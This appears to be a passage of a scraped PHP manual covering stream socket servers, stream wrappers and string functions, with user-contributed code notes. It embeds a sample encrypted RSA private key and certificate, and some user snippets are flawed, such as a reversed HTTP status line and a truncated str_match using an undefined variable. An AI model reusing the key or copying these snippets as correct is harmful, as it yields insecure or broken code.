$server = stream_socket_server('ssl://0.0.0.0:9001', $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $context);

while(true)
{
   $buffer = '';
   print "waiting...";
   $client = stream_socket_accept($server);
   print "accepted " . stream_socket_get_name( $client, true) . "\n";
   if( $client )
   {
       // Read until double CRLF
       while( !preg_match('/\r?\n\r?\n/', $buffer) )
           $buffer .= fread($client, 2046);
       // Respond to client
       fwrite($client,  "200 OK HTTP/1.1\r\n"
                         . "Connection: close\r\n"
                         . "Content-Type: text/html\r\n"
                         . "\r\n"
                         . "Hello World! " . microtime(true)
                         . "<pre>{$buffer}</pre>");
       fclose($client);
   } else {
       print "error.\n";
   }
}

// Example PEM File below (call it server.pem, to use this example)
// Use these instructions to create your own. http://sial.org/howto/openssl/self-signed/

/*

-----BEGIN CERTIFICATE-----
MIIDgTCCAuqgAwIBAgIJAMgtIWVzb1oIMA0GCSqGSIb3DQEBBQUAMIGIMQswCQYD
VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEUMBIGA1UEBxMLTG9zIEFuZ2Vs
ZXMxFDASBgNVBAoTC091ciBDb21wYW55MQ0wCwYDVQQLEwRUZXN0MQwwCgYDVQQD
EwNEZXYxGzAZBgkqhkiG9w0BCQEWDGFzZEBob3N0LmNvbTAeFw0wNjA1MjYwMTM4
NTRaFw0wNzA1MjYwMTM4NTRaMIGIMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs
aWZvcm5pYTEUMBIGA1UEBxMLTG9zIEFuZ2VsZXMxFDASBgNVBAoTC091ciBDb21w
YW55MQ0wCwYDVQQLEwRUZXN0MQwwCgYDVQQDEwNEZXYxGzAZBgkqhkiG9w0BCQEW
DGFzZEBob3N0LmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA3mStTm74
kOQCelquoGI/WyUIOvngDdNcJGmi2xnzDpRjKfQTH/3VVDQJUwvjKcLxnBQHFg7M
nvEZrfC3LEmFajAzRKjXK5gUCQEQKqhbVsfZO+7ANq4axNldd4UgMhPeZIKr8DDt
P3pjFqFSYh/dtOq2pfDXSbstmCZ1Q3GAYDcCAwEAAaOB8DCB7TAdBgNVHQ4EFgQU
WQSzc00pkM9aCzsxKJpTYm3kwEUwgb0GA1UdIwSBtTCBsoAUWQSzc00pkM9aCzsx
KJpTYm3kwEWhgY6kgYswgYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9y
bmlhMRQwEgYDVQQHEwtMb3MgQW5nZWxlczEUMBIGA1UEChMLT3VyIENvbXBhbnkx
DTALBgNVBAsTBFRlc3QxDDAKBgNVBAMTA0RldjEbMBkGCSqGSIb3DQEJARYMYXNk
QGhvc3QuY29tggkAyC0hZXNvWggwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUF
AAOBgQA7G/XKQ9kLTZOcVAG/IOxdn9tW38sEwHifNQ7zMSS5di1MmnD5JJWdK/s4
dzN06T1Ey5FCu2kafFzk48khZpoPsXMRF8DNBXLVSCGj4maPtEviJVjwtj3XwZjA
82a8A/Yil0+fo25zPX4I4oBcbl3bPqzVPXxsQ7myp9f7MDZcbQ==
-----END CERTIFICATE-----
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,E4476A175B6608B6

r0sox8H5ijuOanXwYFtIDgPti3AAuIUdy5EJG9GZbrtQHEW6HL+YxdI58Ng70t4w
EfBvcuLb7XAGsJwF65yad0vSXsYv6F+0brEefEvZX3ljxUZ3yGfHVJyEdBWJty7X
A8QpqOVVQseAST1IKeWOIT16/a9ZOgwnIhQe36y43pxBwL5tumXTM+AuWPOBW8c0
s49I8GyptttGJpcFohLsmP9Jza/fMIzYFNeuOBQ93fieCcVXBd2fWNyZVEsOU5Mi
kt5FQ9Lc9F8Wc+Mh0xiodDz6H+2yNIMC2SNu/mDSAGwDCctBZ34enFDad/eBiYW+
iTjMaqWGFs+cantSgVQ6pdZWYQd5Rsb3/Qbcfia/C1vtzWipBG7wlQCsNWwceXx/
f8hqWl5kyCxvBdH9eyRNMVJkCbFABl9tnaMGRi/UnVL68wgUvosAsdCjUrdL3x7O
i6yMBrxYjACbYslPFaG5OtgXcbacBKjsVMkcRYRyGqClgVZHICYZXhZoZTjOsgT4
L9WivT1RnozmFUMPaXbnxX4h/B3v6aSYAc4mPM6oMFTiXGJ7cLoafNw7Fxug7oeF
0+04DykzFCsLw1PmnkXP/WliQ+xidKJeKl2bR0k5MjAs0ksjelk7hAbCDjE0ct0w
LAHuvf6haClaFBa0ugL90S6BBdIQad9GRmAqZlVc5tANZleXFEY2wKUSMddIKzsm
nouipBWt3flDyYaFRtF20IYYk59z3zlqk73U/cFRkpT9SvHbxdsjTX1OvsmuhMzV
5K4+1QaBK4vePOFeEHDAkwGGqI1Wj+2lC6pxdLe3tjIzNWN1eaq59Q==
-----END RSA PRIVATE KEY-----

*/

?>
andrey at php dot net
08-Aug-2004 12:02
Just a small example how to use this function and also stream_select() to make a server that accepts more than one connections (can have many clients connected):
In master we hold all opened connections. Just before calling stream select we copy the array to $read and then pass it ot stream_select(). In case that we may read from at least one socket, $read will contain socket descriptors. $master is needed not to lose references to the opened connections we have.
stream_server.php :
<?php

$master = array();
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
   echo "$errstr ($errno)<br />\n";
} else {
   $master[] = $socket;
   $read = $master;
   while (1) {
       $read = $master;
       $mod_fd = stream_select($read, $_w = NULL, $_e = NULL, 5);
       if ($mod_fd === FALSE) {
           break;
       }
       for ($i = 0; $i < $mod_fd; ++$i) {
           if ($read[$i] === $socket) {
               $conn = stream_socket_accept($socket);
               fwrite($conn, "Hello! The time is ".date("n/j/Y g:i a")."\n");
               $master[] = $conn;
           } else {
               $sock_data = fread($read[$i], 1024);
               var_dump($sock_data);
               if (strlen($sock_data) === 0) { // connection closed
                   $key_to_del = array_search($read[$i], $master, TRUE);
                   fclose($read[$i]);
                   unset($master[$key_to_del]);
               } else if ($sock_data === FALSE) {
                   echo "Something bad happened";
                   $key_to_del = array_search($read[$i], $master, TRUE);
                   unset($master[$key_to_del]);
               } else {
                   echo "The client has sent :"; var_dump($sock_data);
                   fwrite($read[$i], "You have sent :[".$sock_data."]\n");
                   fclose($read[$i]);
                     unset($master[array_search($read[$i], $master)]);
               }
           }
       }
   }
}
?>
stream_client.php:
<?php
$fp = stream_socket_client("tcp://127.0.0.1:8000", $errno, $errstr, 30);
if (!$fp) {
   echo "$errstr ($errno)<br />\n";
} else {
   fwrite($fp, "Aloha");
   while (!feof($fp)) {
       var_dump(fgets($fp, 1024));
   }
   fclose($fp);
}
?>

Thanks
add a note add a note

后退 | 起点 | 前进
stream_socket_sendto | 上一级 | stream_register_wrapper


stream_register_wrapper

(PHP 4 >= 4.3.0, PHP 5)

stream_register_wrapper -- 注册一个用 PHP 类实现的 URL 封装协议

说明

boolean stream_register_wrapper ( string protocol, string classname )

stream_register_wrapper() 允许用户实现自定义的协议处理器和流，用于所有其它的文件系统函数中（例如 fopen()，fread() 等）。

要实现一个封装协议，需要按照如下定义声明一个包含有一些函数的类。当有人对你的流使用 fopen 时，PHP 将创建一个 classname 的实例并调用该实例的方法。必须严格按照如下的描述实现方法 - 否则将导致不明确的行为。

如果 protocol 已经有了处理协议，则 stream_register_wrapper() 将返回 FALSE。

boolean stream_open ( string path, string mode, int options, string opened_path )

当你的流对象被创建之后立即会调用此方法。path 指定了传入 fopen() 以及此对象需要取回的 URL。可以用 parse_url() 来将此 URL 分割成几部分。

mode 用来打开文件的模式，和 fopen() 中的一样。你有责任检查 mode 对于所请求的 path 是否合法。

options 保存了通过流 API 设定的附加标志。可以保存以下一个值或者用 OR 合并的多个值。

标志 | 说明
STREAM_USE_PATH | 如果 path 是相对路径，则用 include_path 搜索资源。
STREAM_REPORT_ERRORS | 如果设定了本标志，你有责任在打开流时用 trigger_error() 来唤起错误。如果没有设定这个标志，那么你不需要唤起任何错误。

如果成功打开了 path，并且在 options 中设定了 STREAM_USE_PATH，你需要将 opened_path 设定为实际被打开的文件／资源的完整路径。

如果成功打开了所请求的资源，应该返回 TRUE，否则返回 FALSE。

void stream_close ( void )

本方法在流关闭时被调用，使用 fclose()。必须释放被流锁定或分配的任何资源。

string stream_read ( int count )

当对流进行 fread() 和 fgets() 操作时本方法被调用。必须从当前读写位置以字符串返回最多 count 字节的数据。如果可用数据少于 count 字节，则返回尽可能多的数据。如果没有可供返回的数据，返回 FALSE 或者空字符串。必须用成功读取的字节数去更新流的读写位置。

int stream_write ( string data )

当对流进行 fwrite() 操作时本方法被调用。必须将 data 储存到你的流使用的底层存储空间去。如果没有足够的空间了，则试着保存尽可能多的字节。应该返回成功被保存入流的字节数，或者没有保存时返回 0。必须用成功写入的字节数去更新流的读写位置。

boolean stream_eof ( void )

当对流进行 feof() 操作时本方法被调用。如果读写位置到了流的尽头或者没有更多数据可读时返回 TRUE，否则返回 FALSE。

int stream_tell ( void )

当对流进行 ftell() 操作时本方法被调用。应该返回流的当前读写位置。

boolean stream_seek ( int offset, int whence )

当对流进行 fseek() 操作时本方法被调用。应该根据 offset 和 whence 来更新流的读写位置。这些参数的更多信息见 fseek()。如果位置成功更新了则返回 TRUE，否则返回 FALSE。

boolean stream_flush ( void )

当对流进行 fflush() 操作时本方法被调用。如果你在流中缓存了数据还没有写入底层存储空间时，那现在应该做了。如果缓存数据被成功保存（或没有数据可供保存）时返回 TRUE，当数据无法被保存时返回 FALSE。

下面的例子实现了一个 var:// 协议处理器，可以允许使用标准的文件系统流函数来对指定的全局变量进行读写操作，例如 fread()。var:// 协议的实现如下，给出 url "var://foo" 将可以读写 $GLOBALS["foo"]。

例子 1. 读写全局变量的流

class VariableStream {
    var $position;
    var $varname;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;

        return true;
    }

    function stream_read($count)
    {
        $ret = substr($GLOBALS[$this->varname], $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }

    function stream_write($data)
    {
        $left = substr($GLOBALS[$this->varname], 0, $this->position);
        $right = substr($GLOBALS[$this->varname], $this->position + strlen($data));
        $GLOBALS[$this->varname] = $left . $data . $right;
        $this->position += strlen($data);
        return strlen($data);
    }

    function stream_tell()
    {
        return $this->position;
    }

    function stream_eof()
    {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }

    function stream_seek($offset, $whence)
    {
        switch($whence) {
            case SEEK_SET:
                if ($offset < strlen($GLOBALS[$this->varname]) && $offset >= 0) {
                     $this->position = $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            case SEEK_CUR:
                if ($offset >= 0) {
                     $this->position += $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            case SEEK_END:
                if (strlen($GLOBALS[$this->varname]) + $offset >= 0) {
                     $this->position = strlen($GLOBALS[$this->varname]) + $offset;
                     return true;
                } else {
                     return false;
                }
                break;

            default:
                return false;
        }
    }
}

stream_register_wrapper("var", "VariableStream")
    or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while(!feof($fp)) {
    echo fgets($fp)
}
fclose($fp);
var_dump($myvar);

add a note add a note User Contributed Notes
jhannus at php dot net
21-Jun-2005 10:37
It is worth noting that if your wrapper supports stream_flush() then when you flcose() your stream this function will be called prior to closing the stream.
cellog at php dot net
13-Apr-2005 10:45
If you plan to use your wrapper in a require_once you need to define stream_stat().  If you plan to allow any other tests like is_file()/is_dir(), you have to define url_stat().

stream_stat() must define the size of the file, or it will never be included.  url_stat() must define mode, or is_file()/is_dir()/is_executable(), and any of those functions affected by clearstatcache() simply won't work.

It's not documented, but directories must be a mode like 040777 (octal), and files a mode like 0100666.  If you wish the file to be executable, use 7s instead of 6s.  The last 3 digits are exactly the same thing as what you pass to chmod.  040000 defines a directory, and 0100000 defines a file.  It would be really helpful to add this to the official manual!
Hayley Watson
04-Apr-2005 02:07
The current URL standard is RFC 3986 - available at www.ietf.org/rfc/rfc3986.txt
simon at firepages dot org
14-Apr-2004 01:53
using streams to use the ever useful fgetcsv() on a variable where explode() would not work (and would otherwise require regex(though that may be easier;)))

$explode_this="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

<?php
class csvstream{
   var $position;
   var $varname;
   function stream_open($path, $mode, $options, &$opened_path){
       $url = parse_url($path);
       $this->varname = $url['host'] ;
       $this->position = 0;
       return true;
   }
  function stream_read($count){
       $ret = substr($GLOBALS[$this->varname], $this->position, $count);
       $this->position += strlen($ret);
       return $ret;
   }
  function stream_eof(){
       return $this->position >= strlen($GLOBALS[$this->varname]);
   }
   function stream_tell(){
       return $this->position;
   }
}

   stream_wrapper_register("csvstr", "csvstream") ;
   $str="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

   $fp = fopen("csvstr://str", "r+");
   print_r(fgetcsv($fp,100,",","'"));

?>
add a note add a note

后退 | 起点 | 前进
stream_socket_server | 上一级 | stream_wrapper_restore


stream_wrapper_restore

(PHP 5 >= 5.1.0RC1)

stream_wrapper_restore -- Restores a previously unregistered built-in wrapper

Description

bool stream_wrapper_restore ( string protocol )

Restores a built-in wrapper previously unregistered with stream_wrapper_unregister().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_register_wrapper | 上一级 | stream_wrapper_unregister


stream_wrapper_unregister

(PHP 5 >= 5.1.0RC1)

stream_wrapper_unregister -- Unregister a URL wrapper

Description

bool stream_wrapper_unregister ( string protocol )

stream_wrapper_unregister() allows you to disable an already defined stream wrapper. Once the wrapper has been disabled you may override it with a user-defined wrapper using stream_wrapper_register() or reenable it later on with stream_wrapper_restore().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_wrapper_restore | 上一级 | String 字符串处理函数


String 字符串处理函数

PHP 手册
后退 前进

CXLII. String 字符串处理函数

简介

本类函数用来对字符串进行各种操作。对字符串的一些其它专门操作，可以参考手册的正则表达式部分和 URL 操作部分。

如果想要了解字符串的相关内容，特别是有关单引号，双引号等的处理部分，可以参考手册中类型部分中的字符串条目。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

CRYPT_SALT_LENGTH integer

CRYPT_STD_DES integer

CRYPT_EXT_DES integer

CRYPT_MD5 integer

CRYPT_BLOWFISH integer

HTML_SPECIALCHARS (integer)

HTML_ENTITIES (integer)

ENT_COMPAT (integer)

ENT_QUOTES (integer)

ENT_NOQUOTES (integer)

CHAR_MAX (integer)

LC_CTYPE (integer)

LC_NUMERIC (integer)

LC_TIME (integer)

LC_COLLATE (integer)

LC_MONETARY (integer)

LC_ALL (integer)

LC_MESSAGES (integer)

STR_PAD_LEFT (integer)

STR_PAD_RIGHT (integer)

STR_PAD_BOTH (integer)

参见

如果想更深入的了解有关字符串高级操作的相关内容，请参阅手册的 POSIX 扩展正则表达式函数和 Perl 兼容正则表达式函数部分。

目录
addcslashes -- 像 C 那样使用反斜线转义字符串中的字符
addslashes -- 使用反斜线引用字符串
bin2hex -- 将二进制数据转换成十六进制表示
chop -- rtrim() 的别名函数
chr -- 返回指定的字符
chunk_split -- 将字符串分割成小块
convert_cyr_string -- 将字符由一种 Cyrillic 字符转换成另一种
convert_uudecode -- Decode a uuencoded string
convert_uuencode -- Uuencode a string
count_chars -- 返回字符串所用字符的信息
crc32 -- 计算一个字符串的 crc32 多项式
crypt -- One-way string encryption (hashing)
echo -- Output one or more strings
explode -- 使用一个字符串分割另一个字符串
fprintf -- Write a formatted string to a stream
get_html_translation_table -- Returns the translation table used by htmlspecialchars() and htmlentities()
hebrev -- Convert logical Hebrew text to visual text
hebrevc -- Convert logical Hebrew text to visual text with newline conversion
html_entity_decode -- Convert all HTML entities to their applicable characters
htmlentities -- Convert all applicable characters to HTML entities
htmlspecialchars_decode -- Convert special HTML entities back to characters
htmlspecialchars -- Convert special characters to HTML entities
implode -- Join array elements with a string
join -- 别名 implode()
levenshtein -- Calculate Levenshtein distance between two strings
localeconv -- Get numeric formatting information
ltrim -- Strip whitespace (or other characters) from the beginning of a string
md5_file -- Calculates the md5 hash of a given file
md5 -- Calculate the md5 hash of a string
metaphone -- Calculate the metaphone key of a string
money_format -- Formats a number as a currency string
nl_langinfo -- Query language and locale information
nl2br -- Inserts HTML line breaks before all newlines in a string
number_format -- Format a number with grouped thousands
ord -- Return ASCII value of character
parse_str -- Parses the string into variables
print -- Output a string
printf -- Output a formatted string
quoted_printable_decode -- Convert a quoted-printable string to an 8 bit string
quotemeta -- Quote meta characters
rtrim -- Strip whitespace (or other characters) from the end of a string
setlocale -- Set locale information
sha1_file -- Calculate the sha1 hash of a file
sha1 -- Calculate the sha1 hash of a string
similar_text -- Calculate the similarity between two strings
soundex -- Calculate the soundex key of a string
sprintf -- Return a formatted string
sscanf -- Parses input from a string according to a format
str_ireplace -- Case-insensitive version of str_replace().
str_pad -- Pad a string to a certain length with another string
str_repeat -- Repeat a string
str_replace -- Replace all occurrences of the search string with the replacement string
str_rot13 -- Perform the rot13 transform on a string
str_shuffle -- Randomly shuffles a string
str_split -- Convert a string to an array
str_word_count -- Return information about words used in a string
strcasecmp -- Binary safe case-insensitive string comparison
strchr -- 别名 strstr()
strcmp -- Binary safe string comparison
strcoll -- Locale based string comparison
strcspn -- Find length of initial segment not matching mask
strip_tags -- Strip HTML and PHP tags from a string
stripcslashes -- Un-quote string quoted with addcslashes()
stripos -- Find position of first occurrence of a case-insensitive string
stripslashes -- Un-quote string quoted with addslashes()
stristr -- Case-insensitive strstr()
strlen -- Get string length
strnatcasecmp -- Case insensitive string comparisons using a "natural order" algorithm
strnatcmp -- String comparisons using a "natural order" algorithm
strncasecmp -- Binary safe case-insensitive string comparison of the first n characters
strncmp -- Binary safe string comparison of the first n characters
strpbrk -- Search a string for any of a set of characters
strpos -- Find position of first occurrence of a string
strrchr -- Find the last occurrence of a character in a string
strrev -- Reverse a string
strripos -- Find position of last occurrence of a case-insensitive string in a string
strrpos -- Find position of last occurrence of a char in a string
strspn -- Find length of initial segment matching mask
strstr -- Find first occurrence of a string
strtok -- Tokenize string
strtolower -- Make a string lowercase
strtoupper -- Make a string uppercase
strtr -- Translate certain characters
substr_compare -- Binary safe optionally case insensitive comparison of 2 strings from an offset, up to length characters
substr_count -- Count the number of substring occurrences
substr_replace -- Replace text within a portion of a string
substr -- Return part of a string
trim -- Strip whitespace (or other characters) from the beginning and end of a string
ucfirst -- Make a string's first character uppercase
ucwords -- Uppercase the first character of each word in a string
vfprintf -- Write a formatted string to a stream
vprintf -- Output a formatted string
vsprintf -- Return a formatted string
wordwrap -- Wraps a string to a given number of characters using a string break character

add a note add a note User Contributed Notes
administrador(ensaimada)sphoera(punt)com
02-Mar-2006 10:10
I've prepared this simple function to obtain a string delimited between tags (not only XML tags!). Anybody needs something like this?.

<?php

function get_string_between($string, $start, $end){
   $string = " ".$string;
     $ini = strpos($string,$start);
     if ($ini == 0) return "";
     $ini += strlen($start);
     $len = strpos($string,$end,$ini) - $ini;
     return substr($string,$ini,$len);
}

$string = "this [custom] function is useless!!";
echo get_string_between($string,"[","]");
// must return "custom";
?>
more functions at http://www.sphoera.com
SteveRusin
25-Feb-2006 03:00
The functions below:

function beginsWith( $str, $sub )
function endsWith( $str, $sub )

Are correct, but flawed.  You'd need to use the === operator instead:

function beginsWith( $str, $sub ) {
   return ( substr( $str, 0, strlen( $sub ) ) === $sub );
}
function endsWith( $str, $sub ) {
   return ( substr( $str, strlen( $str ) - strlen( $sub ) ) === $sub );
}

Otherwise, endsWith would return "foobar.0" ends with ".0" as well as "0" or "00" or any amount of zeros because numerically .0 does equal 0.
navarr at gmail dot com
21-Dec-2005 10:24
stripos for PHP4.x

<?php
  function stripos($haystack,$needle) {
   return strpos(strtoupper($haystack),strtoupper($needle));
  }
?>
dkflbk at nm dot ru
12-Dec-2005 12:58
I needed str2bin() function for one of my project, so if some one else is want to use it, have fun :)

<?php
/**
 *    Returns an ASCII string containing
 *    the binary representation of the input data .
**/
function str2bin($str, $mode=0) {
   $out = false;
   for($a=0; $a < strlen($str); $a++) {
       $dec = ord(substr($str,$a,1));
       $bin = '';
       for($i=7; $i>=0; $i--) {
           if ( $dec >= pow(2, $i) ) {
               $bin .= "1";
               $dec -= pow(2, $i);
           } else {
               $bin .= "0";
           }
       }
       /* Default-mode */
       if ( $mode == 0 ) $out .= $bin;
       /* Human-mode (easy to read) */
       if ( $mode == 1 ) $out .= $bin . " ";
       /* Array-mode (easy to use) */
       if ( $mode == 2 ) $out[$a] = $bin;
   }
   return $out;
}
?>
admin at fivestarbuy dot com
22-Oct-2005 12:18
This example lets you parse an unparsed strings variables. Warning: This could cause security leaks if you allow users to pass $variables through this engine. I recommend only using this for your Content Management System.

<?
$mytime=time();
$mydog="My Dog Ate My PHP!";

# Your Parsing String:
$s1 = 'Hyphen Variable Preserving: $mytime, and $mydog';
echo "Before: <br><br>$s1<br><br>";

# Remember, wherever you define this, it will not be defined GLOBAL into the function
# which is why we define it here. Defining it global could lead to security issues.
$vardata=get_defined_vars();

# Parse the string
$s1 = StrParse($s1,$vardata);

echo "After: <br><br>$s1";

function StrParse($str,$vardata) {
# Takes a string, or piece of data, that contains PHP Variables

 # For example, unparsed variables like:  Test using time: $mytime
 # This example shows $mytime, and not the actual variable value.
 # The end result shows the actual variable value of $mytime.

 # This is useful for building a content management system,
 # and directing your variables into your content data,
 # where content is stored in a file or database, unparsed.
 # Of course this could slow down page loads, but it's a good way
 # to parse data from current variables into your loaded new data
 # making it compatible.

# Then the variables are replaced with the actual variable..
$getvarkeys=array_keys($vardata);
$ret=$str;
for ($x=0; $x < count($getvarkeys); $x++) {
   $myvar=$getvarkeys[$x];
   #echo "Variable: " . $myvar . " [" . $vardata[$myvar] . "]<br>";
   $ret=str_replace('$' . $myvar, $vardata[$myvar], $ret);
}
return $ret;

}

?>
18-Oct-2005 06:27
to: james dot d dot baker at gmail dot com

PHP has a builtin function  for doing what your function does,

http://php.net/ucfirst
http://php.net/ucwords
14-Oct-2005 11:24
Updated; used to test for input as an array, should have been a string, added some validation of the input while I was at it.  Enjoy.

<?php
/*----------        Directory Tree to Array        ----------//
  Takes base directory, returns an associative array
       containing each directory name as an associative key
       and each file as an indexed entry in the appropriate
       directory.
  If no path is provided, it uses the current directory
  If $style == 1, it will return a sorted, non-associative
       array

  By Peter Dolan
  www.peterd.net
  Updated 2005-10-12

  Use it as much as you like for whatever
  For my own entertainment, please let me know if you do
//-----------------------------------------------------------*/
function dirTreeToArray( $path = "./", $style="0" ) {
     if ( !is_string($path) or !($style==0 or $style==1) ) die("Improper arguments in function dirTreeToArray(string \$path, \$style = {0, 1})");
     else {
       $path = trim($path);
       $path = str_replace("\\", "/", $path);
       if( '/' == $path{strlen($path)-1} || '\'' == $path{strlen($path)-1} ) $path = substr($path, 0, strlen($path)-1);
     }
     $tree = array();
     $arrayPointer = & $tree;
   if ( $handle = opendir($path) ) {
       while ( $fileName = readdir($handle) ) {
             if ( $fileName != "." and $fileName != ".." ) {
                       $newPath = "$path/$fileName";        // Used for testing directory or file property
                 if ( is_dir($newPath) ) {
                   $dummyPointer = & $arrayPointer;        // Save the current pointer
                     if ( $style == 0 ) $arrayPointer = & $arrayPointer[$fileName];    // Drop the pointer into a subdirectory
                     elseif ( $style == 1 ) $arrayPointer = & $arrayPointer[];        // Drop the pointer into a subdirectory
                     $arrayPointer = dirTreeToArray($newPath, $style);            // Process the new subdirectory
                   if ( $style == 1 ) sort($arrayPointer);    // Sort it if we're in a non-associative mode
                     $arrayPointer = & $dummyPointer;        // Bring the pointer back up a level
               }
                 elseif ( is_file($newPath) ) $arrayPointer[] = $fileName;    // Enter the files
           }
       }
               return $tree;
   }
   else die("Failed to open directory $path in function dirTreeToArray(string \$path, \$style = {0, 1})");
}
?>
tim_meredith at s4s dot org
14-Oct-2005 04:32
--Convert MSWord Quotes--
Use this before any conversion to HTML entities or characters to clean up a form entry cut and pasted from MSWord.

function fixword($scratch)
{
   $start=chr(226).chr(128);
   $word=array();$fixword=array();
   $word[]=$start.chr(152);$fixword[]="'";
   $word[]=$start.chr(153);$fixword[]="'";
   $word[]=$start.chr(156);$fixword[]="\"";
   $word[]=$start.chr(157);$fixword[]="\"";
   return str_replace($word, $fixword, $scratch);
}
webmaster at cafe-clope dot net
14-Aug-2005 07:40
A comprehensive concatenation function, that works with array and strings

<?php
function str_cat() {
  $args = func_get_args() ;

  // Asserts that every array given as argument is $dim-size.
  // Keys in arrays are stripped off.
  // If no array is found, $dim stays unset.
  foreach($args as $key => $arg) {
   if(is_array($arg)) {
     if(!isset($dim))
       $dim = count($arg) ;
     elseif($dim != count($arg))
       return FALSE ;
     $args[$key] = array_values($arg) ;
   }
  }

  // Concatenation
  if(isset($dim)) {
   $result = array() ;
   for($i=0;$i<$dim;$i++) {
     $result[$i] = '' ;
     foreach($args as $arg)
       $result[$i] .= ( is_array($arg) ? $arg[$i] : $arg ) ;
   }
   return $result ;
  } else {
   return implode($args) ;
  }
}
?>

A simple example :

<?php
str_cat(array(1,2,3), '-', array('foo' => 'foo', 'bar' => 'bar', 'noop' => 'noop')) ;
?>

will return :
Array (
  [0] => 1-foo
  [1] => 2-bar
  [2] => 3-noop
)

More usefull :

<?php
$myget = $_GET ; // retrieving previous $_GET values
$myget['foo'] = 'b a r' ; // changing one value
$myget = str_cat(array_keys($myget), '=', array_map('rawurlencode', array_values($myget))) ;
$querystring = implode(ini_get('arg_separator.output'), $myget)) ;
?>

will return a valid querystring with some values changed.

Note that <?php str_cat('foo', '&', 'bar') ; ?> will return 'foo&bar', while <?php str_cat(array('foo'), '&', 'bar') ; ?> will return array(0 => foo&bar)
t0russ at gmail dot com
15-Jun-2005 01:38
to kristin at greenaple dot on dot ca:
thanx for sharing.
your function in recursive form proved to be slightly faster and it returns false (as it should) when the character is not found instead of number 0:
<?php
function strnposr($haystack, $needle, $occurance, $pos = 0) {
   return ($occurance<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurance-1,strpos($haystack, $needle, $pos) + 1);
}
?>
rh at richardhoward dot net
06-Jun-2005 02:41
<?php
/**
Utility class: static methods for cleaning & escaping untrusted (i.e.
user-supplied) strings.

Any string can (usually) be thought of as being in one of these 'modes':

pure = what the user actually typed / what you want to see on the page /
       what is actually stored in the DB
gpc  = incoming GET, POST or COOKIE data
sql  = escaped for passing safely to RDBMS via SQL (also, data from DB
       queries and file reads if you have magic_quotes_runtime on--which
       is rare)
html = safe for html display (htmlentities applied)

Always knowing what mode your string is in--using these methods to
convert between modes--will prevent SQL injection and cross-site scripting.

This class refers to its own namespace (so it can work in PHP 4--there is no
self keyword until PHP 5). Do not change the name of the class w/o changing
all the internal references.

Example usage: a POST value that you want to query with:
$username = Str::gpc2sql($_POST['username']);
*/

//This sets SQL escaping to use slashes; for Sybase(/MSSQL)-style escaping
// ( ' --> '' ), set to true.
define('STR_SYBASE', false);

class Str {
   function gpc2sql($gpc, $maxLength = false)
   {
       return Str::pure2sql(Str::gpc2pure($gpc), $maxLength);
   }
   function gpc2html($gpc, $maxLength = false)
   {
       return Str::pure2html(Str::gpc2pure($gpc), $maxLength);
   }
   function gpc2pure($gpc)
   {
       if (ini_get('magic_quotes_sybase'))
           $pure = str_replace("''", "'", $gpc);
       else $pure = get_magic_quotes_gpc() ? stripslashes($gpc) : $gpc;
       return $pure;
   }
   function html2pure($html)
   {
       return html_entity_decode($html);
   }
   function html2sql($html, $maxLength = false)
   {
       return Str::pure2sql(Str::html2pure($html), $maxLength);
   }
   function pure2html($pure, $maxLength = false)
   {
       return $maxLength ? htmlentities(substr($pure, 0, $maxLength))
                         : htmlentities($pure);
   }
   function pure2sql($pure, $maxLength = false)
   {
       if ($maxLength) $pure = substr($pure, 0, $maxLength);
       return (STR_SYBASE)
               ? str_replace("'", "''", $pure)
               : addslashes($pure);
   }
   function sql2html($sql, $maxLength = false)
   {
       $pure = Str::sql2pure($sql);
       if ($maxLength) $pure = substr($pure, 0, $maxLength);
       return Str::pure2html($pure);
   }
   function sql2pure($sql)
   {
       return (STR_SYBASE)
               ? str_replace("''", "'", $sql)
               : stripslashes($sql);
   }
}
?>
james dot d dot baker at gmail dot com
28-May-2005 01:45
<?php
/*
Written By James Baker, May 27th 2005

sentenceCase($string);
   $string: The string to convert to sentence case.

Converts a string into proper sentence case (First letter of each sentance capital, all the others smaller)

Example Usage:
echo sentenceCase("HELLO WORLD!!! THIS IS A CAPITALISED SENTENCE. this isn't.");

Returns:
Hello world!!! This is a capitalised sentence. This isn't.
*/

function sentenceCase($s){
   $str = strtolower($s);
   $cap = true;

   for($x = 0; $x < strlen($str); $x++){
       $letter = substr($str, $x, 1);
       if($letter == "." || $letter == "!" || $letter == "?"){
           $cap = true;
       }elseif($letter != " " && $cap == true){
           $letter = strtoupper($letter);
           $cap = false;
       }

       $ret .= $letter;
   }

   return $ret;
}
?>
php at moechofe dot com
26-Apr-2005 09:34
<?php
  /*
  * str_match
  *
  * return a string with only cacacteres defined in a expression return false if the expression is not valid
  *
  * @param $str string the string
  * @param $match the expression based on the class definition off a PCRE regular expression.
  *  the '[', ']', '\' and '^' at class start need to be escaped.
  *  like : -a-z0-9_@.
  */
  function str_match( $str, $match )
  {
   $return = '';
   if( eregi( '(.*)', $match, $class ) )
   {
     $match = '['.$regs[1].']';
